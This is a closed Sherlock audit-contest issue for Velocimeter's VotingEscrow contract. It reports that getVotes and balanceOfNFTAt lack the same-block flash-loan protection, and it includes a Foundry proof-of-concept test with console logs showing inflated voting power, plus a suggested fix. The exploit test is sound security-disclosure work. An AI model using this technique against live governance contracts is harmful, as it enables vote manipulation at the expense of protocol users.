search

sherlock-audit / 2024-06-velocimeter-judging

11 stars 7 forks source link

R-Nemes - Malicious user can flash loan to inflate their voting balance #611

Closed sherlock-admin3 closed 3 months ago

sherlock-admin3 commented 3 months ago

R-Nemes

High

Malicious user can flash loan to inflate their voting balance

Summary

The issue allows users to potentially inflate their voting power within a single block, bypassing intended flash loan protection.

The problem stems from inconsistent implementation of a safety check across different functions that calculate voting power. While the balanceOfNFT function includes a check to prevent newly transferred tokens from having voting power in the same block, this check is absent in the balanceOfNFTAt and _balanceOfNFT functions. As a result, protocols using these latter functions to determine voting power could be susceptible to flash loan attacks.

Vulnerability Detail

v4-contracts/contracts/VotingEscrow.sol

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1031-L1034?plain=1

1031: function balanceOfNFT(uint _tokenId) external view returns (uint) {
1032:   if (ownership_change[_tokenId] == block.number) return 0;
1033:   return _balanceOfNFT(_tokenId, block.timestamp);
1034: }

The balanceOfNFT function checks if the ownership has changed in the current block and returns zero to ensure that newly transfered tokens have zero voting power, preventing flash loan attacks as can be seen from the comments in the _transferFrom function below on lines 334 and 335 where ownership_change[_tokenId] is set to the current block number.

v4-contracts/contracts/VotingEscrow.sol

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L315-L342?plain=1

315:     function _transferFrom(
316:         address _from,
317:         address _to,
318:         uint _tokenId,
319:         address _sender
320:     ) internal {
321:         require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached");
322:         // Check requirements
323:         require(_isApprovedOrOwner(_sender, _tokenId));
324:         require(_from != _to,"from == to");
325:         
326:         // Clear approval. Throws if `_from` is not the current owner
327:         _clearApproval(_from, _tokenId);
328:         // Remove NFT. Throws if `_tokenId` is not a valid NFT
329:         _removeTokenFrom(_from, _tokenId);
330:         // auto re-delegate
331:         _moveTokenDelegates(delegates(_from), delegates(_to), _tokenId);
332:         // Add NFT
333:         _addTokenTo(_to, _tokenId);
334:         // Set the block of ownership transfer (for Flash NFT protection)
335:         ownership_change[_tokenId] = block.number;
336: 
337:         //unlock split
338:         blockedSplit[_tokenId] = false;
339: 
340:         // Log the transfer
341:         emit Transfer(_from, _to, _tokenId);
342:     }

However, this check is not present in the functions balanceOfNFTAt or _balanceOfNFT.

v4-contracts/contracts/VotingEscrow.sol

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1036-L1038?plain=1

1036:     function balanceOfNFTAt(uint _tokenId, uint _t) external view returns (uint) {
1037:         return _balanceOfNFT(_tokenId, _t);
1038:     }

v4-contracts/contracts/VotingEscrow.sol

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1017-L1029?plain=1

1016: 
1017:     function _balanceOfNFT(uint _tokenId, uint _t) internal view returns (uint) {
1018:         uint _epoch = user_point_epoch[_tokenId];
1019:         if (_epoch == 0) {
1020:             return 0;
1021:         } else {
1022:             Point memory last_point = user_point_history[_tokenId][_epoch];
1023:             last_point.bias -= last_point.slope * int128(int256(_t) - int256(last_point.ts));
1024:             if (last_point.bias < 0) {
1025:                 last_point.bias = 0;
1026:             }
1027:             return uint(int256(last_point.bias));
1028:         }
1029:     }

As a result, Velocimeter or an external protocol calling balanceOfToken and balanceOfTokenAt external functions to find voting balance will return different voting balances for the same _tokenId depending on which function they called.

The function getVotes uses the _balanceOfNFT function to determine the current voting power of an account. It is now possible that any protocol using the getVotes function will not be protected from flash loans inflating the voting power.

v4-contracts/contracts/VotingEscrow.sol

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1292-L1304?plain=1

1292:     function getVotes(address account) external view returns (uint) {
1293:         uint32 nCheckpoints = numCheckpoints[account];
1294:         if (nCheckpoints == 0) {
1295:             return 0;
1296:         }
1297:         uint[] storage _tokenIds = checkpoints[account][nCheckpoints - 1].tokenIds;
1298:         uint votes = 0;
1299:         for (uint i = 0; i < _tokenIds.length; i++) {
1300:             uint tId = _tokenIds[i];
1301:             votes = votes + _balanceOfNFT(tId, block.timestamp);
1302:         }
1303:         return votes;
1304:     }

Impact

Users are able to inflate their voting power within a single block.

Code Snippet

POC: Add the following test file to the test suite

// 1:1 with Hardhat test
pragma solidity 0.8.13;

import './BaseTest.sol';

contract VotingEscrowTest is BaseTest {
    uint internal constant MAXTIME = 52 * 7 * 86400;
    int128 internal constant iMAXTIME = 52 * 7 * 86400;
    uint internal constant MULTIPLIER = 1 ether;

    VotingEscrow escrow;

    function setUp() public {
        deployOwners();
        deployCoins();
        mintStables();
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 1e25;
        amounts[1] = 1e25;
        amounts[2] = 1e25;
        mintFlow(owners, amounts);

        VeArtProxy artProxy = new VeArtProxy();

        deployPairFactoryAndRouter();
        deployMainPairWithOwner(address(owner));

        escrow = new VotingEscrow(address(FLOW), address(flowDaiPair),address(artProxy), owners[0]);
    }

    function getMaxVotingPower(uint256 _amount, uint256 _end) public view returns (uint256) {
        uint256 slope = _amount / MAXTIME;

        uint256 bias = (slope * (_end - block.timestamp));

        return bias;
    }

    function testVoteInflationByTransferTokenPOC() public { // @audit Valid
        address user1 = address(owner2);
        address user2 = address(owner3);

        vm.startPrank(user1);

        FLOW.approve(address(router), TOKEN_1);
        DAI.approve(address(router), TOKEN_1);
        router.addLiquidity(address(FLOW), address(DAI), false, TOKEN_1, TOKEN_1, 0, 0, user1, block.timestamp);

        flowDaiPair.approve(address(escrow), TOKEN_1);

        uint256 tokenId = escrow.create_lock(TOKEN_1, FIFTY_TWO_WEEKS);

        assertEq(escrow.ownerOf(tokenId), user1);
        console2.log("balanceOfNFT(tokenId)     :", escrow.balanceOfNFT(tokenId));
        console2.log("balanceOfNFTAt(tokenId)   :", escrow.balanceOfNFTAt(tokenId, block.timestamp));
        console2.log("getVotes(user1)           :", escrow.getVotes(user1));
        console2.log("getVotes(user2)           :", escrow.getVotes(user2));

        assertEq(escrow.balanceOfNFT(tokenId), getMaxVotingPower(TOKEN_1, escrow.locked__end(tokenId)));
        assertEq(escrow.balanceOfNFT(tokenId), escrow.balanceOfNFTAt(tokenId, block.timestamp));
        assertEq(escrow.balanceOfNFT(tokenId), escrow.getVotes(user1));
        assertEq(escrow.getVotes(user2), 0);

        vm.stopPrank();

        vm.startPrank(user2);

        FLOW.approve(address(router), TOKEN_1M);
        DAI.approve(address(router), TOKEN_1M);
        router.addLiquidity(address(FLOW), address(DAI), false, TOKEN_1M, TOKEN_1M, 0, 0, user2, block.timestamp);

        flowDaiPair.approve(address(escrow), TOKEN_1M);

        // Take a flashloan of lock
        console2.log("\nTake a flashloan of lock token");
        uint256 tokenId2 = escrow.create_lock(TOKEN_1M, FIFTY_TWO_WEEKS);
        console2.log("Created lock with 1M locked tokens");
        console2.log("getVotes(user2)           :", escrow.getVotes(user2));
        assertEq(escrow.balanceOfNFT(tokenId2), getMaxVotingPower(TOKEN_1M, escrow.locked__end(tokenId2)));

        // Transferring tokenId2 from user2 to user1
        console2.log("\nTransferring flashloaned tokenId2 from user2 to user1");
        escrow.safeTransferFrom(user2, user1, tokenId2);
        assertEq(escrow.ownerOf(tokenId2), user1);
        vm.stopPrank();

        console2.log("balanceOfNFT(tokenId)     :", escrow.balanceOfNFT(tokenId));
        console2.log("balanceOfNFT(tokenId2)    :", escrow.balanceOfNFT(tokenId2));
        console2.log("balanceOfNFTAt(tokenId2)  :", escrow.balanceOfNFTAt(tokenId2, block.timestamp));
        console2.log("getVotes(user1)           : %s <= Inflated voting power", escrow.getVotes(user1));
        console2.log("getVotes(user2)           :", escrow.getVotes(user2));

        assertEq(escrow.balanceOfNFT(tokenId2), 0);
        assertEq(escrow.getVotes(user1), escrow.balanceOfNFT(tokenId) + escrow.balanceOfNFTAt(tokenId2, block.timestamp));

        vm.stopPrank();
    }
}

Console Output

[PASS] testVoteInflationByTransferTokenPOC() (gas: 1226167)
Logs:
  balanceOfNFT(tokenId)     : 999999968174574804
  balanceOfNFTAt(tokenId)   : 999999968174574804
  getVotes(user1)           : 999999968174574804
  getVotes(user2)           : 0

Take a flashloan of lock token
  Created lock with 1M locked tokens
  getVotes(user2)           : 999999968203093174574804

Transferring flashloaned tokenId2 from user2 to user1
  balanceOfNFT(tokenId)     : 999999968174574804
  balanceOfNFT(tokenId2)    : 0
  balanceOfNFTAt(tokenId2)  : 999999968203093174574804
  getVotes(user1)           : 1000000968203061349149608 <= Inflated voting power
  getVotes(user2)           : 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.31ms (905.49µs CPU time)

Tool used

Forge

Manual Review

Recommendation

Implement the flashloan protection in the _balanceOfNFT function by adding this following line to the beginning of the function.

if (ownership_change[_tokenId] == block.number) return 0;

function _balanceOfNFT(uint _tokenId, uint _t) internal view returns (uint) {
        if (ownership_change[_tokenId] == block.number) return 0;

        uint _epoch = user_point_epoch[_tokenId];
        if (_epoch == 0) {
            return 0;
        } else {
            Point memory last_point = user_point_history[_tokenId][_epoch];
            last_point.bias -= last_point.slope * int128(int256(_t) - int256(last_point.ts));
            if (last_point.bias < 0) {
                last_point.bias = 0;
            }
            return uint(int256(last_point.bias));
        }
    }

Duplicate of #286